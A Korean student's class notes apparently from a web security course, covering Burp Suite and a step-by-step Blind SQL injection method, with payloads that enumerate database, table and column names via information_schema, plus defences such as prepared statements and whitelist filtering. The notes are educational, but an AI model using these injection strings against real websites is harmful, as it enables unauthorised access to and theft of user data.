Today I Learned …

[수업] 4주차 정리 본문

Study/수업

[수업] 4주차 정리

염베리 2021. 11. 4. 21:56

* 해당 주차의 수업 내용을 정리합니다.


Burp Suite
> 웹 프록시

HTTP vs HTTPS
HTTP
HTTPS : HTTP + SSL(옛날말) / TLS(요즘말)

Frequently Used
Repeater
Decoder
Comparer
Plugin 추가

Useful Tips
#
Clear
Highlight

자동화 툴 사용 X
sqlmap
실제 프로젝트
웹 사이트 (글을 남기면 → 대표님에게 문자 메시지)
어떤 사고 날지 몰라서 고객사가 매우 꺼려함
update로 모든 고객 비번 1로 바꿔봐라 ㅎ..

Proxy
Burp Suite
Fiddler
현업에서 주로 씀


Blind SQL Injection
> 최후의 보루
> SQL 질의 결과가 노출되지 않는 곳에서 사용해야함 (로그인, 아이디 중복 체크 등)

원리
> 조건문의 참과 거짓의 결과로 데이터를 추출

참과 거짓의 결과로
어떤 조건을 넣을 것인가?


기법

(1) LIMIT
limit [시작위치:0으로시작], [개수]
limit 0,1
limit 1,1
limit 2,1
→ 이렇게 데이터 하나씩 뽑아낼 것

(2) substring : 문자열 자르기
select password from member limit 0,1
'12345'
substring(글자, [시작위치:1로시작], [개수])
substring('normaltic',1,1)
> n
substring('normaltic',3,2)
> rm

(3) ASCII 코드
> < = 숫자로 치환해서 비교하기 위함
알파벳, 숫자, 특수문자
33~126
첫 글자 : > 50 > 90 > 100 이런식으로 범위 좁히며 찾으면 더 수월
ascii('A') => 65
> normaltic 글자의 첫 글자 비교 예시
substring(normaltic,1,1)
ascii(substring((select ~~~~ limit 0,1),1,1)) → >20

(4) 2진 탐색 알고리즘
> 업다운게임
33 ~ 126


Blind SQLi 절차

(1) 취약점이 있는지 확인
mario' and '1'='1
mario

(2) Blind SQLi 테스트 (참/거짓)
mario' and '1'='1
mario' and ('1'='1') and '1'='1
→ 조건 바꾸기 편하게
mario' and ('1'='2') and '1'='1

(3) Blind SQLi 테스트 (임의 select 문 삽입)
select 'normaltic'
Blind SQL 조건 : ascii(substring(( SQL ) ,1,1)) > 0
UserId : mario' and (조건) and '1'='1
UserId : mario' and (ascii(substring((select 'normaltic') ,1,1)) > 0) and '1'='1
<SQL>
ascii(substring((<SQL>),1,1)) > 0
→ 차곡차곡 스택쌓으며 쿼리 만들기 (한번에 쓰려고 하면 헷갈려서 괄호 빼먹기 쉬움)

(4) DB 이름
select database()
Blind SQL 조건 : ascii(substring(( SQL ) ,1,1)) > 0
UserId : mario' and (ascii(substring((select database()) ,1,1)) > 0) and '1'='1

(5) 테이블 이름
select table_name from information_schema.tables where table_schema='segFault_sqli' limit 0,1
mario' and (ascii(substring((select table_name from information_schema.tables where table_schema='segFault_sqli' limit 0,1) ,1,1)) > 0) and '1'='1
휴...... 노가다
프로그램짜서 해야된다.

(6) Column name
select column_name from information_schema.columns where table_name='user_info' limit 0,1

(7) Data 추출
table, column
select ~~ from ~~ limit 0,1
파이썬으로 코드 짜서 추출!

(8) 이외
Url Encoding으로 띄어쓰기
→ + , %20


대응 방안

1. Prepared Statement : 변수 바인딩
SQL
$sql = "select ~~~ where id='?'"
bind(1, $user_id)
' and ~~~
변수 바인딩만 해주면 무슨 짓을 해도 못 뚫음
그럼에도 배워야하는 이유는?
(1) 적용되지 않는 곳!
정렬 부분, 테이블 이름
order by
(2) 연륜있는 개발자
제대로 적용 안하거나 못한 경우
(3) 프레임워크

2. 필터링 (잘못 쓰면 사이트 이상해짐ㅋㅋㅋㅋㅋㅋ)
- 블랙 리스트 기반 : ', or, and
> 우회가 가능할 수 있다. 위험!
- 화이트 리스트 기반


질답
주소 검색 : 우편번호 db mysql 구글링해서 테이블 임포트

'Study > 수업' 카테고리의 다른 글

[수업] 6주차 정리  (0) 2021.11.18
[수업] 5주차 정리  (0) 2021.11.18
[수업] 3주차 정리  (0) 2021.10.29
[수업] 2주차 정리  (1) 2021.10.22
[수업] 1주차 정리  (0) 2021.10.16
프로필사진
berry
FE Developer, loves React & better DX
Comments